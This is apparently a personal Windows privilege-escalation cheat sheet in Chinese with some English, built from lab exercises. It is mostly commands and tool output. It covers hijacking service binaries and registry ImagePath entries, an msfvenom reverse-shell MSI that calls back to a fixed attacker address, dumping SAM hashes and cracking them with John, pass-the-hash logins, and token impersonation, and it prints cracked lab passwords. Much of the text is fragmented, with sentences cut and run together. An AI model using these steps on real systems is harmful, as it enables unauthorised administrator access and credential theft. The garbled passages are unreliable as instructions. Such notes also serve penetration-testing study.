我的 Windows 权限提升概念手册。请查看我的播放列表,链接:https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!
whoami /priv - 当前用户的权限net users - 列出所有用户net user <username> - 列出特定用户的详细信息qwinsta - 同时登录的其他用户net localgroup - 系统中可用的组net localgroup <group-name> - 列出特定组的成员systeminfo - 提供有关操作系统的所有信息hostname - 系统的主机名findstr /si password *.txt - 我们正在查找包含“password”的文本文件wmic qfe get Caption,Description,HotFixID,InstalledOn - 这提供有关安全修补程序及相关信息netstat -ano - 与机器关联的连接schtasks /query /fo LIST /v - 查看已计划的任务driverquery - 列出驱动程序相关信息systeminfo 工具的输出,这就是该工具的唯一要求。wmic product get name,version,vendor - 这会提供产品名称、版本和供应商。这条命令能很好地可视化我们所需的信息。wmic service list brief | findstr "Running",而要获取有关该服务的更多信息,请使用 sc qc <ServiceName>。post/multi/recon/local_exploit_suggester 的模块,确保你的会话处于后台,这样该工具才能正常工作,或者你可以直接从 meterpreter 中加载。winpeas.exe --help 查看所有选项。systeminfo 命令获取系统信息,将其复制到任意文件中,并以 .txt 扩展名命名。这里我们将尝试识别具有不安全权限的服务,然后尝试利用它们。
这里我们可以使用 winpeas.exe servicesinfo 命令,可以看到哪些服务非常有帮助。
输出中一个有趣的部分如下,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- 但为了获取更多信息,我们可以使用一个名为 **accesschk** 的工具,它由微软开发,运行方式如下 `accesschk.exe /accepteula -uwcqv <current-user> <service>`,输出为,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config,我们可以在其中更改服务的配置。sc qc <service>,然后记下 Binary_path_name(也可以称为 binpath),这就是我们要更改的(邪恶的微笑)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>",然后启动服务:sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 要获取更多信息,只需使用 **WinPEAS** 脚本并加上 `servicesinfo` 选项,这里我们可以查看是否存在任何可利用的 **Unquoted Service Path**。这里我运行了该工具,输出中比较有趣的部分如下所示,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>accesschk 检查这个特定位置 C:\Program Files\Unquoted Path Service 的权限,因此运行 accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"。输出:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 我们拥有读写权限。
- 现在我们将创建一个载荷并将其放入 `C:\Program Files\Unquoted Path Service`,通过 `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`,这里我使用了一个不同的名称,这在字母顺序上也有一定优势。
- 现在启动服务,`sc start unquotedsvc`,我们是管理员了!!!
-----------------------
### 弱注册表权限:
- 这里我们将尝试利用具有弱注册表权限的服务。
- 为了查找,我们需要使用带有 `servicesinfo` 选项的 `Winpeas`。输出看起来类似这样:```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
现在我们得到了服务的名称,即 regsvc,让我们深入了解这个服务,运行 sc qc regsvc,输出如下:```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- 一个很酷的事实是,路径带有引号,所以不存在**未加引号的服务路径**。
- 现在让我们运行 `accesschk.exe` 深入挖掘,所以运行 `accesschk /acceptula -uvwqk <path of registry>`(即 `HKLM\system\currentcontrolset\services\regsvc`)
- 在输出中查找 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`,现在我们就可以顺利利用了。
- 现在让我们通过 `reg query HKLM\system\currentcontrolset\services\regsvc` 查看注册表中的选项,我发现一个名为 `ImagePath` 的选项,它接受可执行文件的值,所以让我们利用它。首先创建一个反弹 shell。
- 现在运行 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`,根据你的需求选择 payload 的路径。
- 现在运行服务 `net start regsvc`,太棒了!我获得了 shell。
-----------------------
### 不安全的服务可执行文件:
- 这里的服务文件权限对所有用户开放!我们尝试修改服务的可执行文件,就可以搞定了!
- 让我们运行 **Winpeas**,特别是使用 **servicesinfo** 模块,看看有什么有趣的东西,输出结果如下:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc 的文件,所以我们将创建一个 reverse_shell 的 payload,并用它替换服务的可执行文件,从而获得 shell。reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 来手动检查它们 - 这将显示自动运行的程序及其路径。- 我们得到了两个带路径的程序,所以让我们测试一下。
- 现在我们将运行 **accesscheck** 来检查这些自动运行项的文件路径具有哪些权限。
- 直接运行 `accesschk.exe \accepteula -wvu "<path>"`,我对 **My Program** 自动运行项的路径运行了该命令,输出显示 `FILE_ALL_ACCESS`,因此我们实际上可以对该文件夹做任何操作。主要是我们可以替换原始可执行文件,然后重启系统,就能获得 shell。
- 现在我们需要等待管理员登录,然后我们就能以特权用户身份获得 shell!
- 这里的难点在于,我们必须等到管理员/所有者登录,否则就无法继续了!
------------------------------
### AlwaysInstallElevated
- 它允许标准用户以管理权限安装 **msi**(Microsoft Installer)。
- 这很酷,而且很容易获得更高权限,
- 我们可以通过运行以下命令来检查:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` 和
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- 运行这两个命令,**AlwaysInstallElevated** 的值必须为 1 或 0x1。这样我们就能确认并继续。
- 现在创建一个 **msi** 格式的反向 shell,参考以下命令:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- 现在将其传输到 Windows 机器并运行命令:
`msiexec /quiet /qn /i reverse.msi`
- 太棒了!我们以 `nt authority\system` 身份获得了 shell。
------------------
-------------------
## 密码:
- 在这里,我们在注册表、文件等中查找凭据。
- 然后我们会尝试登录!
----------------------
### 在注册表中查找密码:
- 我们可以在注册表中搜索密码,有时能发现其他用户的密码,甚至所有者的密码。
- 运行 `reg query HKLM /f password /t REG_SZ /s`,这会给出注册表中包含 **password** 字符串的所有详细信息,搜索一下,你可能会找到!但遗憾的是,我一个都没找到。
- 另外运行 `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`,我们可能会找到一些信息。
- 我们还可以使用传奇工具 **winPEAS**,配合一些选项运行,比如 `windowscreds` —— 查找凭据,还有 `filesinfo` —— 检查文件和注册表中的有用数据(有时也包括密码)。
- 在获取密码后,这里是 `password123`,所以现在让我们借助 **psexec**(链接:https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)登录,语法是 `python3 psexec.py [email protected]`,它会提示输入密码,输入后我们就能像管理员一样获得访问权限!
-------------------------
### 密码 : 已保存的凭据
- 首先运行 `cmdkey /list`,这里的 **cmdkey** 是一个 Windows Server 应用程序,用于*创建、列出和删除存储的用户名和密码或凭据*。运行这个命令,我们就能看到所有已保存的用户凭据!
- 输出为,```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe,这将赋予我们管理员权限C:\Windows\Repair 目录下创建了一份 SAM 文件副本,这样我们就可以玩了!该目录中有两个文件,分别是 SAM 和 SYSTEMdownload 命令获取它们的。python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM,它就会显示 Windows 机器上可用用户的哈希。输出如下:```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::- 现在将上述内容保存到文本文件中,然后借助 **JohnTheRipper** 进行破解,语法为 `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`,然后就成功破解了!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0daexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da,这里我们也使用了带有 groupid 的哈希pth-winexe -U admin% //10.10.213.97 cmd.exe,我获得了 admin 的 shellpth-winexe 在 kali 中已经可用。schtasks /query /fo LIST /VCleanUp.ps1 似乎很有意思,路径是 C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1,结果显示我们拥有读取、写入等所有权限然后我传输并重命名为 `CleanUp.ps1`,并且获得了连接。
--------------------
---------------------
## 不安全的 GUI 应用程序:
- 获得 RDP 连接后,打开 `Taskmanager`,在 `Details` 选项卡中可以看到正在运行的应用程序以及对应的用户。
- 这里他们故意将 `mspaint.exe` 配置为以管理员身份运行,因此这就是我们的目标。
- 由于我们正在使用**画图**,我们可以打开文件,因此我们将打开 `file://c:/windows/system32/cmd.exe`,然后砰!我们就以 **admin** 用户身份获得了 shell!
- 这里的功能有些受限,因为我们并不总能获得 RDP 连接。
-----------------------
----------------------
## 启动应用:
- Windows 有一个功能,允许某些应用在启动时运行,我们可以滥用此功能。
- 启动应用位于 `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`,这是默认路径。
- 让我们通过 **accesschk.exe** 检查我们能做什么,因此运行 `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`。输出如下,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs 的脚本,它以管理员权限运行,主要目的是为我们上传的反向 shell 创建一个 快捷方式。list_tokens -u 来查看所有令牌,之后在找到一些不错的令牌后运行 impersonate_token <name of token>whomai /priv 查看当前用户的权限,如果在那里能找到像 SeAssignPrimaryToken 之类的权限,这些权限相当危险,太危险了!要了解更多关于这些权限以及如何利用它们的信息,请查看这篇文章:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System 这样的访问权限
[仍在进行中.....]sc query windefend - 查找防病毒服务